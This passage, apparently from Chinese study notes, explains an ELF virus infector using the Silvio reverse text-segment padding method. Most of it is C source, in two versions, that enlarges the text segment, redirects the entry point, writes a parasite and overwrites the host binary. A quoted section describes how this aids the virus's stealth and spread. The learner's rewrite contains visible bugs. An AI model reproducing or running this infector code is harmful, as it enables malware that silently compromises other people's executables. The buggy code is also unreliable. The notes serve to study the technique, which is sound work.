	 	  p_hdr->p_offset += PAGE_SIZE;  //找到txtx段腾出空间

           if(p_hdr->p_type == PT_LOAD) //如果是PT_load节(大概率用的也是pt_note到pt_load的转换注射)
	        if (p_hdr->p_flags == (PF_R | PF_X))
	        {
			  p_hdr->p_vaddr -= PAGE_SIZE;
			  e_hdr->e_entry = p_hdr->p_vaddr;
			  p_hdr->p_paddr -= PAGE_SIZE;
			  p_hdr->p_filesz += PAGE_SIZE;
			  p_hdr->p_memsz += PAGE_SIZE;
			  text_found = 1;
	        }
        }  

		/*typedef struct {program header 结构体
    ELF32_Word  p_type;
    ELF32_Off   p_offset;
    ELF32_Addr  p_vaddr;
    ELF32_Addr  p_paddr;
    ELF32_Word  p_filesz;
    ELF32_Word  p_memsz;
    ELF32_Word  p_flags;
    ELF32_Word  p_align;
} Elf32_Phdr;*/
	e_hdr->e_entry += sizeof(*e_hdr); //文件入口点

	 s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);
	 for (i = e_hdr->e_shnum; i-- > 0; s_hdr++)
		s_hdr->sh_offset += PAGE_SIZE;
	
	 e_hdr->e_shoff += PAGE_SIZE;// 节头表偏移
	 e_hdr->e_phoff += PAGE_SIZE; // 程序头表偏移   两个偏移分别增加一页为蠕虫体提供空间
 	 
	 printf("new entry: %lx\n", e_hdr->e_entry);
	 mirror_binary_with_parasite(parasite_size, mem, parasite);

 	 done:
 	 munmap(mem, st.st_size);
 	 close(fd);
 	  	  
 }

void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite)
{
	
	int ofd;
	unsigned int c;
	int i, t = 0;
	
	/* eot is: 
	 * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;
	 * end_of_text += p_hdr->p_filesz;
	 */ 
	extern int return_entry_start; //外部变量声明

	printf("Mirroring host binary with parasite %d bytes\n",psize);

	if ((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
	{
		perror("tmp binary: open");
		exit(-1);
	}
	
	if ((c = write(ofd, mem, ehdr_size)) != ehdr_size)//往镜像文件中写如原始文件的ELF header
	{
		printf("failed writing ehdr\n");
		exit(-1);
	}
	
	printf("Patching parasite to jmp to %lx\n", entry_point);
	
	*(unsigned int *)&parasite[return_entry_start] = entry_point; //似乎是设置新的程序入口点
	

	if ((c = write(ofd, parasite, psize)) != psize) // 往寄生虫地址写入病毒（）判断大小是否一致来区分是否写入成功
	{
		perror("writing parasite failed");
		exit(-1);
	}
	/*
1) 欲将读写位置移到文件开头时: 
lseek（int fildes,0,SEEK_SET）； 
2) 欲将读写位置移到文件尾时: 
lseek（int fildes，0,SEEK_END）； 
3) 想要取得目前文件位置时: 
lseek（int fildes，0,SEEK_CUR）*/
	if ((c = lseek(ofd, ehdr_size + PAGE_SIZE, SEEK_SET)) != ehdr_size + PAGE_SIZE) //将文件指针移动到距离文件开头位置ehdr_size + PAGE_SIZE位置处
	{
		printf("lseek only wrote %d bytes\n", c);
		exit(-1);
	}

	mem += ehdr_size; //后移文件头大小的距离
	
	if ((c = write(ofd, mem, st.st_size-ehdr_size)) != st.st_size-ehdr_size) //在后裔之后将文件剩余部分写入镜像当中
	{
		printf("Failed writing binary, wrote %d bytes\n", c);
		exit(-1);
	}
	
	rename(TMP, host); //对镜像文件进行重命名为原始文件名以覆盖
	close(ofd);//关闭文件
	
}

```

这一整个病毒的攻击流程都是主要运用的对于节头表，程序头表和ELF文件头的利用。

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <elf.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096
#define TMP "tmp.bin"

struct stat st;//定义了st为一个stat结构体，存储文件的详细数据
char *host;

//变动
long entry_point;
int ehdr_size;

// void mirror_binary_with_virous(un

void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem,char * parasite);

int main(int argc ,char **argv) 
{
    unsigned char *mem;//memory
    unsigned char *tp;
    int fd,i,c;
    char flag;
    //mode_t mode;

     char parasite_size;
     extern char parasite[];
    // extern char parasite_size;这里似乎不用从外部引用
    // unsigned long int leap_offset;
    // unsigned long parasite_vaddar;

    Elf64_Shdr *s_hdr;
    Elf64_Ehdr *e_hdr;
    Elf64_Phdr *p_hdr;//结构体首字母大小

    usage:
    if(argc < 3)
    {
        printf("argv's number more than 3!");
        exit(-1);
    }

    parasite_size = atoi(argv[2]);//病毒大小，这一步意义何在？
    host = argv[1];//文件名

    if((fd = open (argv[1],O_RDONLY)) == -1)//只读方式打开文件。避免文件被破坏，方便后续创建镜像？
    {
        perror("open");
        exit(-1);
    }

    if(fstat(fd,&st) < 0) //通过 fstat函数检查文件是否调用成功，
    //并将文件信息填充到st结构体中，后一步不清楚是否用到了？有用，下面mmap用到了

    {
        perror("stst");
        exit("-1");

    }

    mem = mmap(NULL,st.st_size,PROT_READ | PROT_WRITE, MAP_PRIVATE,fd,0);
    //通过上面获取的结构体中的文件大小，利用mmap函数在重新映射一个相同大小的文件
    //将mmap的内存设置为可读可写，并私有映射只允许当前进程访问这一块内存空间，并且不会影响原来的文件
    //fd指定需要映射的文件
    //从头开始映文件
    //mem存储了mmap的起始地址

    if (mem == MAP_FAILED)//映射失败
    {
        perror("stst");
        exit("-1");
    }

    e_hdr = (Elf64_Ehdr *)mem;//可以这样吗？
    if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr -> e_ident[1],"ELF"))
    {
        printf("%s it not an elf file\n", argv[1]);
                exit(-1);
    }

     printf("Parasite size: %d\n", parasite_size);

     flag = 0;
    //  unsigned int after_insert_offset;//不清楚是否有用

    ehdr_size = sizeof(*e_hdr);//ELF文件头大小
    entry_point = e_hdr -> e_entry;//通过读取ELF文件头来获取程序入口点


    p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);//类似上面的强转类型，寻找到程序段的地址
    p_hdr[0].p_offset += PAGE_SIZE;//
    p_hdr[1].p_offset += PAGE_SIZE;//没理解

    for (i = e_hdr->e_phnum; i-- >0; p_hdr++) //e_phnum给出了程序头表的段数
    {
        if (flag)
        {
            p_hdr->p_offset +=PAGE_SIZE;//将代码段后一个段向后移，腾出的空间作为代码段空间存放病毒
        }
        if (p_hdr->p_type == PT_LOAD){//pt_load可加载段一般认为是text或者数据段
        if(p_hdr->p_type == (PF_R | PF_X))//通过权限位判断是否为代码段段（可读可执行）
        {
             p_hdr->p_vaddr -= PAGE_SIZE;//将该文本段向后移一个页面长度
			  e_hdr->e_entry = p_hdr->p_vaddr;//入口点重新设置为虚拟地址首地址
			  p_hdr->p_paddr -= PAGE_SIZE;//真实地址后移
			  p_hdr->p_filesz += PAGE_SIZE;//文件镜像大小
			  p_hdr->p_memsz += PAGE_SIZE;//内存镜像中的文件大小
              flag = 1;//设置为一表示找到
        }

        }

    }

    e_hdr->e_entry += sizeof(*e_hdr);//未懂

    s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);//节头表位置
    for(i = e_hdr->e_shnum;i-- > 0; s_hdr ++)
    {
        s_hdr->sh_offset += PAGE_SIZE;
        e_hdr->e_shoff += PAGE_SIZE;
        e_hdr->e_phoff += PAGE_SIZE;

        printf("new entry : %lx\n",e_hdr->e_entry);
        mirror_binary_with_parasite(parasite_size,mem,parasite);

        // done:
        munmap(mem,st.st_size);//解除映射
        close(fd);


    }
}
void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem,char * parasite)
{
        int fd;
        unsigned int c;
        int i,t = 0;

        extern int return_entry_start;
        
        if ((fd = open(TMP,O_RDWR | O_CREAT | O_TRUNC, 0777)) == -1)
        {
            perror("open");
            exit(-1);
        }

        if (write(fd,mem,ehdr_size) != ehdr_size)
        {
            perror("write");
            exit(-1);
        }

        *(unsigned int *) &parasite[return_entry_start] = entry_point;

        if((c = write(fd,parasite,psize)) != psize)
        {
            perror("write");
            exit(-1);
        }

        if((c = lseek(fd,mem,ehdr_size)) != ehdr_size)
        {
            perror("lseek");
            exit(-1);
        }

        mem +=ehdr_size;    
        if((c = write(fd,mem,st.st_size - ehdr_size)) != st.st_size - ehdr_size)
        {
            perror("write");
            exit(-1);
        }

        rename(TMP,host);
        close(fd);

}
```

该病毒的攻击先是只读打开文件将

```c
struct stat { 
         dev_t st_dev; // 文件所在设备ID 
         ino_t st_ino; // 结点(inode)编号  
         mode_t st_mode; // 保护模式 
         nlink_t st_nlink; // 硬链接个数  
         uid_t st_uid; // 所有者用户ID  
         gid_t st_gid; // 所有者组ID  
         dev_t st_rdev; // 设备ID(如果是特殊文件) 
         off_t st_size; // 总体尺寸，以字节为单位 
         blksize_t st_blksize; // 文件系统 I/O 块大小
         blkcnt_t st_blocks; // 已分配 512B 块个数
         time_t st_atime; // 上次访问时间 
         time_t st_mtime; // 上次更新时间 
         time_t st_ctime; // 上次状态更改时间 
};
```

这个结构体信息读取，再开辟一个新空间映射源新文件，这里可能会有疑问为什么要重新映射一个文件不能直接在源文件中更改，答案大概有以下几点：

> 1. **病毒的稳定性和可维护性：** 直接修改源文件可能会破坏原始程序的完整性，导致源程序无法正常工作。这不仅会增加被检测到的风险，还会导致病毒在目标计算机上无法稳定运行。通过映射文件，病毒构建者可以保持源文件的完整性，同时在不影响原程序的情况下添加恶意代码。
> 2. **隐蔽性：** 直接修改源文件可能会引起用户的怀疑。用户会注意到其文件的更改，这可能会触发警报或导致病毒被发现。通过映射文件，病毒可以更隐蔽地植入目标计算机，减少被发现的风险。
> 3. **隔离和传播：** 映射文件可以帮助病毒构建者更轻松地在多个文件和目录中传播恶意代码，而不仅限于一个源文件。这提供了更大的传播和感染机会。
> 4. **病毒升级和更新：** 使用映射文件，病毒构建者可以轻松地更新和升级病毒，而不必再次修改源文件。这使得维护和改进病毒变得更加容易。

然后通过对文件头，节头表和程序头表的读取，修改和重新映射，反向延长text段的大小，让parasite放在都出的text段中，使其直接拥有执行权限，这样只需要更改程序入口点来控只执行流，就可以实现病毒的攻击。

Rust

第四章 所有权

RUST 学习

第一章

silvio

ez_fmt

第四章所有权